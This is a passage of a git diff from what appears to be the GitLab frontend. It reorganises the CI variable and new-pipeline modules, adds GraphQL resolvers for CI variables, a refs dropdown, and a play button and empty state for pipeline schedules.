+ nodes {
+ ...BaseCiVariable
+ ... on CiInstanceVariable {
+ masked
+ protected
+ raw
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/settings.js b/app/assets/javascripts/ci/ci_variable_list/graphql/settings.js
new file mode 100644
index 00000000000..10203383ba0
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/settings.js
@@ -0,0 +1,242 @@
+import axios from 'axios';
+import {
+ convertObjectPropsToCamelCase,
+ convertObjectPropsToSnakeCase,
+} from '~/lib/utils/common_utils';
+import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
+import {
+ GRAPHQL_GROUP_TYPE,
+ GRAPHQL_PROJECT_TYPE,
+ groupString,
+ instanceString,
+ projectString,
+} from '../constants';
+import getProjectVariables from './queries/project_variables.query.graphql';
+import getGroupVariables from './queries/group_variables.query.graphql';
+import getAdminVariables from './queries/variables.query.graphql';
+
+const prepareVariableForApi = ({ variable, destroy = false }) => {
+ return {
+ ...convertObjectPropsToSnakeCase(variable),
+ id: getIdFromGraphQLId(variable?.id),
+ variable_type: variable.variableType.toLowerCase(),
+ secret_value: variable.value,
+ _destroy: destroy,
+ };
+};
+
+const mapVariableTypes = (variables = [], kind) => {
+ return variables.map((ciVar) => {
+ return {
+ __typename: `Ci${kind}Variable`,
+ ...convertObjectPropsToCamelCase(ciVar),
+ id: convertToGraphQLId('Ci::Variable', ciVar.id),
+ variableType: ciVar.variable_type ? ciVar.variable_type.toUpperCase() : ciVar.variableType,
+ };
+ });
+};
+
+const prepareProjectGraphQLResponse = ({ data, id, errors = [] }) => {
+ return {
+ errors,
+ project: {
+ __typename: GRAPHQL_PROJECT_TYPE,
+ id: convertToGraphQLId(GRAPHQL_PROJECT_TYPE, id),
+ ciVariables: {
+ __typename: `Ci${GRAPHQL_PROJECT_TYPE}VariableConnection`,
+ pageInfo: {
+ __typename: 'PageInfo',
+ hasNextPage: false,
+ hasPreviousPage: false,
+ startCursor: '',
+ endCursor: '',
+ },
+ nodes: mapVariableTypes(data.variables, projectString),
+ },
+ },
+ };
+};
+
+const prepareGroupGraphQLResponse = ({ data, id, errors = [] }) => {
+ return {
+ errors,
+ group: {
+ __typename: GRAPHQL_GROUP_TYPE,
+ id: convertToGraphQLId(GRAPHQL_GROUP_TYPE, id),
+ ciVariables: {
+ __typename: `Ci${GRAPHQL_GROUP_TYPE}VariableConnection`,
+ pageInfo: {
+ __typename: 'PageInfo',
+ hasNextPage: false,
+ hasPreviousPage: false,
+ startCursor: '',
+ endCursor: '',
+ },
+ nodes: mapVariableTypes(data.variables, groupString),
+ },
+ },
+ };
+};
+
+const prepareAdminGraphQLResponse = ({ data, errors = [] }) => {
+ return {
+ errors,
+ ciVariables: {
+ __typename: `Ci${instanceString}VariableConnection`,
+ pageInfo: {
+ __typename: 'PageInfo',
+ hasNextPage: false,
+ hasPreviousPage: false,
+ startCursor: '',
+ endCursor: '',
+ },
+ nodes: mapVariableTypes(data.variables, instanceString),
+ },
+ };
+};
+
+async function callProjectEndpoint({ endpoint, fullPath, variable, id, cache, destroy = false }) {
+ try {
+ const { data } = await axios.patch(endpoint, {
+ variables_attributes: [prepareVariableForApi({ variable, destroy })],
+ });
+
+ const graphqlData = prepareProjectGraphQLResponse({ data, id });
+
+ cache.writeQuery({
+ query: getProjectVariables,
+ variables: {
+ fullPath,
+ after: null,
+ },
+ data: graphqlData,
+ });
+ return graphqlData;
+ } catch (e) {
+ return prepareProjectGraphQLResponse({
+ data: cache.readQuery({ query: getProjectVariables, variables: { fullPath } }),
+ id,
+ errors: [...e.response.data],
+ });
+ }
+}
+
+const callGroupEndpoint = async ({ endpoint, fullPath, variable, id, cache, destroy = false }) => {
+ try {
+ const { data } = await axios.patch(endpoint, {
+ variables_attributes: [prepareVariableForApi({ variable, destroy })],
+ });
+
+ const graphqlData = prepareGroupGraphQLResponse({ data, id });
+
+ cache.writeQuery({
+ query: getGroupVariables,
+ data: graphqlData,
+ });
+
+ return graphqlData;
+ } catch (e) {
+ return prepareGroupGraphQLResponse({
+ data: cache.readQuery({ query: getGroupVariables, variables: { fullPath } }),
+ id,
+ errors: [...e.response.data],
+ });
+ }
+};
+
+const callAdminEndpoint = async ({ endpoint, variable, cache, destroy = false }) => {
+ try {
+ const { data } = await axios.patch(endpoint, {
+ variables_attributes: [prepareVariableForApi({ variable, destroy })],
+ });
+
+ const graphqlData = prepareAdminGraphQLResponse({ data });
+
+ cache.writeQuery({
+ query: getAdminVariables,
+ data: graphqlData,
+ });
+
+ return graphqlData;
+ } catch (e) {
+ return prepareAdminGraphQLResponse({
+ data: cache.readQuery({ query: getAdminVariables }),
+ errors: [...e.response.data],
+ });
+ }
+};
+
+export const resolvers = {
+ Mutation: {
+ addProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callProjectEndpoint({ endpoint, fullPath, variable, id, cache });
+ },
+ updateProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callProjectEndpoint({ endpoint, fullPath, variable, id, cache });
+ },
+ deleteProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callProjectEndpoint({ endpoint, fullPath, variable, id, cache, destroy: true });
+ },
+ addGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callGroupEndpoint({ endpoint, fullPath, variable, id, cache });
+ },
+ updateGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callGroupEndpoint({ endpoint, fullPath, variable, id, cache });
+ },
+ deleteGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
+ return callGroupEndpoint({ endpoint, fullPath, variable, id, cache, destroy: true });
+ },
+ addAdminVariable: async (_, { endpoint, variable }, { cache }) => {
+ return callAdminEndpoint({ endpoint, variable, cache });
+ },
+ updateAdminVariable: async (_, { endpoint, variable }, { cache }) => {
+ return callAdminEndpoint({ endpoint, variable, cache });
+ },
+ deleteAdminVariable: async (_, { endpoint, variable }, { cache }) => {
+ return callAdminEndpoint({ endpoint, variable, cache, destroy: true });
+ },
+ },
+};
+
+export const mergeVariables = (existing, incoming, { args }) => {
+ if (!existing || !args?.after) {
+ return incoming;
+ }
+
+ const { nodes, ...rest } = incoming;
+ const result = rest;
+ result.nodes = [...existing.nodes, ...nodes];
+
+ return result;
+};
+
+export const cacheConfig = {
+ cacheConfig: {
+ typePolicies: {
+ Query: {
+ fields: {
+ ciVariables: {
+ keyArgs: false,
+ merge: mergeVariables,
+ },
+ },
+ },
+ Project: {
+ fields: {
+ ciVariables: {
+ keyArgs: ['fullPath', 'endpoint', 'id'],
+ merge: mergeVariables,
+ },
+ },
+ },
+ Group: {
+ fields: {
+ ciVariables: {
+ keyArgs: ['fullPath'],
+ merge: mergeVariables,
+ },
+ },
+ },
+ },
+ },
+};
diff --git a/app/assets/javascripts/ci_variable_list/index.js b/app/assets/javascripts/ci/ci_variable_list/index.js
index 174a59aba42..174a59aba42 100644
--- a/app/assets/javascripts/ci_variable_list/index.js
+++ b/app/assets/javascripts/ci/ci_variable_list/index.js
diff --git a/app/assets/javascripts/ci_variable_list/native_form_variable_list.js b/app/assets/javascripts/ci/ci_variable_list/native_form_variable_list.js
index fdbefd8c313..fdbefd8c313 100644
--- a/app/assets/javascripts/ci_variable_list/native_form_variable_list.js
+++ b/app/assets/javascripts/ci/ci_variable_list/native_form_variable_list.js
diff --git a/app/assets/javascripts/ci_variable_list/utils.js b/app/assets/javascripts/ci/ci_variable_list/utils.js
index eeca69274ce..eeca69274ce 100644
--- a/app/assets/javascripts/ci_variable_list/utils.js
+++ b/app/assets/javascripts/ci/ci_variable_list/utils.js
diff --git a/app/assets/javascripts/ci/pipeline_editor/components/editor/text_editor.vue b/app/assets/javascripts/ci/pipeline_editor/components/editor/text_editor.vue
index 255e3cb31f1..891c40482d3 100644
--- a/app/assets/javascripts/ci/pipeline_editor/components/editor/text_editor.vue
+++ b/app/assets/javascripts/ci/pipeline_editor/components/editor/text_editor.vue
@@ -2,7 +2,6 @@
import { EDITOR_READY_EVENT } from '~/editor/constants';
import { CiSchemaExtension } from '~/editor/extensions/source_editor_ci_schema_ext';
import SourceEditor from '~/vue_shared/components/source_editor.vue';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { SOURCE_EDITOR_DEBOUNCE } from '../../constants';
export default {
@@ -15,7 +14,6 @@ export default {
components: {
SourceEditor,
},
- mixins: [glFeatureFlagMixin()],
inject: ['ciConfigPath'],
inheritAttrs: false,
methods: {
@@ -23,10 +21,8 @@ export default {
this.$emit('updateCiConfig', content);
},
registerCiSchema({ detail: { instance } }) {
- if (this.glFeatures.schemaLinting) {
- instance.use({ definition: CiSchemaExtension });
- instance.registerCiSchema();
- }
+ instance.use({ definition: CiSchemaExtension });
+ instance.registerCiSchema();
},
},
readyEvent: EDITOR_READY_EVENT,
diff --git a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue b/app/assets/javascripts/ci/pipeline_new/components/pipeline_new_form.vue
index 5692627abef..5692627abef 100644
--- a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
+++ b/app/assets/javascripts/ci/pipeline_new/components/pipeline_new_form.vue
diff --git a/app/assets/javascripts/ci/pipeline_new/components/refs_dropdown.vue b/app/assets/javascripts/ci/pipeline_new/components/refs_dropdown.vue
new file mode 100644
index 00000000000..060527f2662
--- /dev/null
+++ b/app/assets/javascripts/ci/pipeline_new/components/refs_dropdown.vue
@@ -0,0 +1,86 @@
+<script>
+import { GlCollapsibleListbox } from '@gitlab/ui';
+import { debounce } from 'lodash';
+import axios from '~/lib/utils/axios_utils';
+import { DEBOUNCE_REFS_SEARCH_MS } from '../constants';
+import { formatListBoxItems, searchByFullNameInListboxOptions } from '../utils/format_refs';
+
+export default {
+ components: {
+ GlCollapsibleListbox,
+ },
+ inject: ['projectRefsEndpoint'],
+ props: {
+ value: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ },
+ data() {
+ return {
+ isLoading: false,
+ searchTerm: '',
+ listBoxItems: [],
+ };
+ },
+ computed: {
+ lowerCasedSearchTerm() {
+ return this.searchTerm.toLowerCase();
+ },
+ refShortName() {
+ return this.value.shortName;
+ },
+ },
+ methods: {
+ loadRefs() {
+ this.isLoading = true;
+
+ axios
+ .get(this.projectRefsEndpoint, {
+ params: {
+ search: this.lowerCasedSearchTerm,
+ },
+ })
+ .then(({ data }) => {
+ // Note: These keys are uppercase in API
+ const { Branches = [], Tags = [] } = data;
+
+ this.listBoxItems = formatListBoxItems(Branches, Tags);
+ })
+ .catch((e) => {
+ this.$emit('loadingError', e);
+ })
+ .finally(() => {
+ this.isLoading = false;
+ });
+ },
+ debouncedLoadRefs: debounce(function debouncedLoadRefs() {
+ this.loadRefs();
+ }, DEBOUNCE_REFS_SEARCH_MS),
+ setRefSelected(refFullName) {
+ const ref = searchByFullNameInListboxOptions(refFullName, this.listBoxItems);
+ this.$emit('input', ref);
+ },
+ setSearchTerm(searchQuery) {
+ this.searchTerm = searchQuery?.trim();
+ this.debouncedLoadRefs();
+ },
+ },
+};
+</script>
+<template>
+ <gl-collapsible-listbox
+ class="gl-w-full gl-font-monospace"
+ :items="listBoxItems"
+ :searchable="true"
+ :searching="isLoading"
+ :search-placeholder="__('Search refs')"
+ :selected="value.fullName"
+ toggle-class="gl-flex-direction-column gl-align-items-stretch!"
+ :toggle-text="refShortName"
+ @search="setSearchTerm"
+ @select="setRefSelected"
+ @shown.once="loadRefs"
+ />
+</template>
diff --git a/app/assets/javascripts/pipeline_new/constants.js b/app/assets/javascripts/ci/pipeline_new/constants.js
index 43f7634083b..43f7634083b 100644
--- a/app/assets/javascripts/pipeline_new/constants.js
+++ b/app/assets/javascripts/ci/pipeline_new/constants.js
diff --git a/app/assets/javascripts/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql b/app/assets/javascripts/ci/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql
index a76e8f6b95b..a76e8f6b95b 100644
--- a/app/assets/javascripts/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql
+++ b/app/assets/javascripts/ci/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_new/graphql/queries/ci_config_variables.graphql b/app/assets/javascripts/ci/pipeline_new/graphql/queries/ci_config_variables.graphql
index 648cd8b66b5..648cd8b66b5 100644
--- a/app/assets/javascripts/pipeline_new/graphql/queries/ci_config_variables.graphql
+++ b/app/assets/javascripts/ci/pipeline_new/graphql/queries/ci_config_variables.graphql
diff --git a/app/assets/javascripts/pipeline_new/graphql/resolvers.js b/app/assets/javascripts/ci/pipeline_new/graphql/resolvers.js
index 7b0f58e8cf9..7b0f58e8cf9 100644
--- a/app/assets/javascripts/pipeline_new/graphql/resolvers.js
+++ b/app/assets/javascripts/ci/pipeline_new/graphql/resolvers.js
diff --git a/app/assets/javascripts/pipeline_new/index.js b/app/assets/javascripts/ci/pipeline_new/index.js
index 71c76aeab36..71c76aeab36 100644
--- a/app/assets/javascripts/pipeline_new/index.js
+++ b/app/assets/javascripts/ci/pipeline_new/index.js
diff --git a/app/assets/javascripts/pipeline_new/utils/filter_variables.js b/app/assets/javascripts/ci/pipeline_new/utils/filter_variables.js
index 57ce3d13a9a..57ce3d13a9a 100644
--- a/app/assets/javascripts/pipeline_new/utils/filter_variables.js
+++ b/app/assets/javascripts/ci/pipeline_new/utils/filter_variables.js
diff --git a/app/assets/javascripts/ci/pipeline_new/utils/format_refs.js b/app/assets/javascripts/ci/pipeline_new/utils/format_refs.js
new file mode 100644
index 00000000000..e6d26b32d47
--- /dev/null
+++ b/app/assets/javascripts/ci/pipeline_new/utils/format_refs.js
@@ -0,0 +1,55 @@
+import { __ } from '~/locale';
+import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '../constants';
+
+function convertToListBoxItems(items) {
+ return items.map(({ shortName, fullName }) => ({ text: shortName, value: fullName }));
+}
+
+export function formatRefs(refs, type) {
+ let fullName;
+
+ return refs.map((ref) => {
+ if (type === BRANCH_REF_TYPE) {
+ fullName = `refs/heads/${ref}`;
+ } else if (type === TAG_REF_TYPE) {
+ fullName = `refs/tags/${ref}`;
+ }
+
+ return {
+ shortName: ref,
+ fullName,
+ };
+ });
+}
+
+export const formatListBoxItems = (branches, tags) => {
+ const finalResults = [];
+
+ if (branches.length > 0) {
+ finalResults.push({
+ text: __('Branches'),
+ options: convertToListBoxItems(formatRefs(branches, BRANCH_REF_TYPE)),
+ });
+ }
+
+ if (tags.length > 0) {
+ finalResults.push({
+ text: __('Tags'),
+ options: convertToListBoxItems(formatRefs(tags, TAG_REF_TYPE)),
+ });
+ }
+
+ return finalResults;
+};
+
+export const searchByFullNameInListboxOptions = (fullName, listBox) => {
+ const optionsToSearch =
+ listBox.length > 1 ? listBox[0].options.concat(listBox[1].options) : listBox[0]?.options;
+
+ const foundOption = optionsToSearch.find(({ value }) => value === fullName);
+
+ return {
+ shortName: foundOption.text,
+ fullName: foundOption.value,
+ };
+};
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules.vue b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules.vue
index fe16cb7a92e..d03de91ea07 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules.vue
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules.vue
@@ -1,14 +1,25 @@
<script>
-import { GlAlert, GlBadge, GlButton, GlLoadingIcon, GlTabs, GlTab } from '@gitlab/ui';
+import {
+ GlAlert,
+ GlBadge,
+ GlButton,
+ GlLoadingIcon,
+ GlTabs,
+ GlTab,
+ GlSprintf,
+ GlLink,
+} from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
import { limitedCounterWithDelimiter } from '~/lib/utils/text_utility';
import { queryToObject } from '~/lib/utils/url_utility';
import deletePipelineScheduleMutation from '../graphql/mutations/delete_pipeline_schedule.mutation.graphql';
+import playPipelineScheduleMutation from '../graphql/mutations/play_pipeline_schedule.mutation.graphql';
import takeOwnershipMutation from '../graphql/mutations/take_ownership.mutation.graphql';
import getPipelineSchedulesQuery from '../graphql/queries/get_pipeline_schedules.query.graphql';
import PipelineSchedulesTable from './table/pipeline_schedules_table.vue';
import TakeOwnershipModal from './take_ownership_modal.vue';
import DeletePipelineScheduleModal from './delete_pipeline_schedule_modal.vue';
+import PipelineScheduleEmptyState from './pipeline_schedules_empty_state.vue';
export default {
i18n: {
@@ -16,11 +27,15 @@ export default {
scheduleDeleteError: s__(
'PipelineSchedules|There was a problem deleting the pipeline schedule.',
),
+ schedulePlayError: s__('PipelineSchedules|There was a problem playing the pipeline schedule.'),
takeOwnershipError: s__(
'PipelineSchedules|There was a problem taking ownership of the pipeline schedule.',
),
newSchedule: s__('PipelineSchedules|New schedule'),
deleteSuccess: s__('PipelineSchedules|Pipeline schedule successfully deleted.'),
+ playSuccess: s__(
+ 'PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. ',
+ ),
},
components: {
DeletePipelineScheduleModal,
@@ -30,13 +45,19 @@ export default {
GlLoadingIcon,
GlTabs,
GlTab,
+ GlSprintf,
+ GlLink,
PipelineSchedulesTable,
TakeOwnershipModal,
+ PipelineScheduleEmptyState,
},
inject: {
fullPath: {
default: '',
},
+ pipelinesPath: {
+ default: '',
+ },
},
apollo: {
schedules: {
@@ -68,6 +89,7 @@ export default {
},
scope,
hasError: false,
+ playSuccess: false,
errorMessage: '',
scheduleId: null,
showDeleteModal: false,
@@ -185,6 +207,27 @@ export default {
this.reportError(this.$options.i18n.takeOwnershipError);
}
},
+ async playPipelineSchedule(id) {
+ try {
+ const {
+ data: {
+ pipelineSchedulePlay: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: playPipelineScheduleMutation,
+ variables: { id },
+ });
+
+ if (errors.length > 0) {
+ throw new Error();
+ } else {
+ this.playSuccess = true;
+ }
+ } catch {
+ this.playSuccess = false;
+ this.reportError(this.$options.i18n.schedulePlayError);
+ }
+ },
fetchPipelineSchedulesByStatus(scope) {
this.scope = scope;
this.$apollo.queries.schedules.refetch();
@@ -195,62 +238,72 @@ export default {
<template>
<div>
- <gl-alert v-if="hasError" class="gl-mb-2" variant="danger" @dismiss="hasError = false">
+ <gl-alert v-if="hasError" class="gl-my-3" variant="danger" @dismiss="hasError = false">
{{ errorMessage }}
</gl-alert>
- <template v-else>
- <gl-tabs
- sync-active-tab-with-query-params
- query-param-name="scope"
- nav-class="gl-flex-grow-1 gl-align-items-center"
+ <gl-alert v-if="playSuccess" class="gl-my-3" variant="info" @dismiss="playSuccess = false">
+ <gl-sprintf :message="$options.i18n.playSuccess">
+ <template #link="{ content }">
+ <gl-link :href="pipelinesPath" class="gl-text-decoration-none!">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+
+ <gl-tabs
+ v-if="isLoading || count > 0"
+ sync-active-tab-with-query-params
+ query-param-name="scope"
+ nav-class="gl-flex-grow-1 gl-align-items-center"
+ >
+ <gl-tab
+ v-for="tab in tabs"
+ :key="tab.text"
+ :title-link-attributes="tab.attrs"
+ :query-param-value="tab.scope"
+ @click="fetchPipelineSchedulesByStatus(tab.scope)"
>
- <gl-tab
- v-for="tab in tabs"
- :key="tab.text"
- :title-link-attributes="tab.attrs"
- :query-param-value="tab.scope"
- @click="fetchPipelineSchedulesByStatus(tab.scope)"
- >
- <template #title>
- <span>{{ tab.text }}</span>
+ <template #title>
+ <span>{{ tab.text }}</span>
- <template v-if="tab.showBadge">
- <gl-loading-icon v-if="tab.scope === scope && isLoading" class="gl-ml-2" />
+ <template v-if="tab.showBadge">
+ <gl-loading-icon v-if="tab.scope === scope && isLoading" class="gl-ml-2" />
- <gl-badge v-else-if="tab.count" size="sm" class="gl-tab-counter-badge">
- {{ tab.count }}
- </gl-badge>
- </template>
+ <gl-badge v-else-if="tab.count" size="sm" class="gl-tab-counter-badge">
+ {{ tab.count }}
+ </gl-badge>
</template>
+ </template>
- <gl-loading-icon v-if="isLoading" size="lg" />
- <pipeline-schedules-table
- v-else
- :schedules="schedules.list"
- @showTakeOwnershipModal="setTakeOwnershipModal"
- @showDeleteModal="setDeleteModal"
- />
- </gl-tab>
+ <gl-loading-icon v-if="isLoading" size="lg" />
+ <pipeline-schedules-table
+ v-else
+ :schedules="schedules.list"
+ @showTakeOwnershipModal="setTakeOwnershipModal"
+ @showDeleteModal="setDeleteModal"
+ @playPipelineSchedule="playPipelineSchedule"
+ />
+ </gl-tab>
- <template #tabs-end>
- <gl-button variant="confirm" class="gl-ml-auto" data-testid="new-schedule-button">
- {{ $options.i18n.newSchedule }}
- </gl-button>
- </template>
- </gl-tabs>
+ <template #tabs-end>
+ <gl-button variant="confirm" class="gl-ml-auto" data-testid="new-schedule-button">
+ {{ $options.i18n.newSchedule }}
+ </gl-button>
+ </template>
+ </gl-tabs>
+
+ <pipeline-schedule-empty-state v-else-if="!isLoading && count === 0" />
- <take-ownership-modal
- :visible="showTakeOwnershipModal"
- @takeOwnership="takeOwnership"
- @hideModal="hideModal"
- />
+ <take-ownership-modal
+ :visible="showTakeOwnershipModal"
+ @takeOwnership="takeOwnership"
+ @hideModal="hideModal"
+ />
- <delete-pipeline-schedule-modal
- :visible="showDeleteModal"
- @deleteSchedule="deleteSchedule"
- @hideModal="hideModal"
- />
- </template>
+ <delete-pipeline-schedule-modal
+ :visible="showDeleteModal"
+ @deleteSchedule="deleteSchedule"
+ @hideModal="hideModal"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_empty_state.vue b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_empty_state.vue
new file mode 100644
index 00000000000..f633ba053ee
--- /dev/null
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_empty_state.vue
@@ -0,0 +1,63 @@
+<script>
+import scheduleSvg from '@gitlab/svgs/dist/illustrations/schedule-md.svg';
+import { GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { s__ } from '~/locale';
+
+export default {
+ i18n: {
+ pipelineSchedules: s__('PipelineSchedules|Pipeline schedules'),
+ description: s__(
+ 'PipelineSchedules|A scheduled pipeline starts automatically at regular intervals, like daily or weekly. The pipeline: ',
+ ),
+ learnMore: s__(
+ 'PipelineSchedules|Learn more in the %{linkStart}scheduled pipelines documentation.%{linkEnd}',
+ ),
+ listElements: [
+ s__('PipelineSchedules|Runs for a specific branch or tag.'),
+ s__('PipelineSchedules|Can have custom CI/CD variables.'),
+ s__('PipelineSchedules|Runs with the same project permissions as the schedule owner.'),
+ ],
+ createNew: s__('PipelineSchedules|Create a new pipeline schedule'),
+ },
+ components: {
+ GlEmptyState,
+ GlLink,
+ GlSprintf,
+ },
+ computed: {
+ scheduleSvgPath() {
+ return `data:image/svg+xml;utf8,${encodeURIComponent(scheduleSvg)}`;
+ },
+ schedulesHelpPath() {
+ return helpPagePath('ci/pipelines/schedules');
+ },
+ },
+};
+</script>
+<template>
+ <gl-empty-state
+ :svg-path="scheduleSvgPath"
+ :primary-button-text="$options.i18n.createNew"
+ primary-button-link="#"
+ >
+ <template #title>
+ <h3>
+ {{ $options.i18n.pipelineSchedules }}
+ </h3>
+ </template>
+ <template #description>
+ <p class="gl-mb-0">{{ $options.i18n.description }}</p>
+ <ul class="gl-list-style-position-inside" data-testid="pipeline-schedules-characteristics">
+ <li v-for="(el, index) in $options.i18n.listElements" :key="index">{{ el }}</li>
+ </ul>
+ <p>
+ <gl-sprintf :message="$options.i18n.learnMore">
+ <template #link="{ content }">
+ <gl-link :href="schedulesHelpPath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_form.vue b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_form.vue
index a4ef7827f73..367b1812a27 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_form.vue
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_form.vue
@@ -71,7 +71,7 @@ export default {
timezone: this.cronTimezone,
formCiVariables: {},
// TODO: Add the GraphQL query to help populate the predefined variables
- // app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue#131
+ // app/assets/javascripts/ci/pipeline_new/components/pipeline_new_form.vue#131
predefinedValueOptions: {},
};
},
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions.vue b/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions.vue
index 8656e5d3536..45b4f618e17 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions.vue
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions.vue
@@ -44,7 +44,14 @@ export default {
<template>
<div class="gl-display-flex gl-justify-content-end">
<gl-button-group>
- <gl-button v-if="canPlay" v-gl-tooltip :title="$options.i18n.playTooltip" icon="play" />
+ <gl-button
+ v-if="canPlay"
+ v-gl-tooltip
+ :title="$options.i18n.playTooltip"
+ icon="play"
+ data-testid="play-pipeline-schedule-btn"
+ @click="$emit('playPipelineSchedule', schedule.id)"
+ />
<gl-button
v-if="canTakeOwnership"
v-gl-tooltip
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue b/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue
index 216796b357c..56461165588 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue
@@ -1,9 +1,9 @@
<script>
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
export default {
components: {
- CiBadge,
+ CiBadgeLink,
},
props: {
schedule: {
@@ -24,7 +24,11 @@ export default {
<template>
<div>
- <ci-badge v-if="hasPipeline" :status="lastPipelineStatus" class="gl-vertical-align-middle" />
+ <ci-badge-link
+ v-if="hasPipeline"
+ :status="lastPipelineStatus"
+ class="gl-vertical-align-middle"
+ />
<span v-else data-testid="pipeline-schedule-status-text">
{{ s__('PipelineSchedules|None') }}
</span>
diff --git a/app/assets/javascripts/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue b/app/assets/javascripts/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue
index 1b97a35a51e..e8cfc5b29f3 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue
+++ b/app/assets/javascripts/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue
@@ -96,6 +96,7 @@ export default {
:schedule="item"
@showTakeOwnershipModal="$emit('showTakeOwnershipModal', $event)"
@showDeleteModal="$emit('showDeleteModal', $event)"
+ @playPipelineSchedule="$emit('playPipelineSchedule', $event)"
/>
</template>
</gl-table-lite>
diff --git a/app/assets/javascripts/ci/pipeline_schedules/graphql/mutations/play_pipeline_schedule.mutation.graphql b/app/assets/javascripts/ci/pipeline_schedules/graphql/mutations/play_pipeline_schedule.mutation.graphql
new file mode 100644
index 00000000000..4892f41b93f
--- /dev/null
+++ b/app/assets/javascripts/ci/pipeline_schedules/graphql/mutations/play_pipeline_schedule.mutation.graphql
@@ -0,0 +1,6 @@
+mutation playPipelineSchedule($id: CiPipelineScheduleID!) {
+ pipelineSchedulePlay(input: { id: $id }) {
+ clientMutationId
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/pipeline_schedules/mount_pipeline_schedules_app.js b/app/assets/javascripts/ci/pipeline_schedules/mount_pipeline_schedules_app.js
index 4c06fa321e5..8bca4f85e9f 100644
--- a/app/assets/javascripts/ci/pipeline_schedules/mount_pipeline_schedules_app.js
+++ b/app/assets/javascripts/ci/pipeline_schedules/mount_pipeline_schedules_app.js
@@ -18,7 +18,7 @@ export default () => {
return false;
}
- const { fullPath } = containerEl.dataset;
+ const { fullPath, pipelinesPath } = containerEl.dataset;
return new Vue({
el: containerEl,
@@ -26,6 +26,7 @@ export default () => {
apolloProvider,
provide: {
fullPath,
+ pipelinesPath,
},
render(createElement) {
return createElement(PipelineSchedules);
diff --git a/app/assets/javascripts/ci/runner/components/runner_jobs_table.vue b/app/assets/javascripts/ci/runner/components/runner_jobs_table.vue
index efa7909c913..e359344ab77 100644
--- a/app/assets/javascripts/ci/runner/components/runner_jobs_table.vue
+++ b/app/assets/javascripts/ci/runner/components/runner_jobs_table.vue
@@ -3,7 +3,7 @@ import { GlTableLite } from '@gitlab/ui';
import { __, s__ } from '~/locale';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { durationTimeFormatted } from '~/lib/utils/datetime_utility';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import RunnerTags from '~/ci/runner/components/runner_tags.vue';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
import { tableField } from '../utils';
@@ -11,7 +11,7 @@ import LinkCell from './cells/link_cell.vue';
export default {
components: {
- CiBadge,
+ CiBadgeLink,
GlTableLite,
LinkCell,
RunnerTags,
@@ -80,7 +80,7 @@ export default {
fixed
>
<template #cell(status)="{ item = {} }">
- <ci-badge v-if="item.detailedStatus" :status="item.detailedStatus" />
+ <ci-badge-link v-if="item.detailedStatus" :status="item.detailedStatus" />
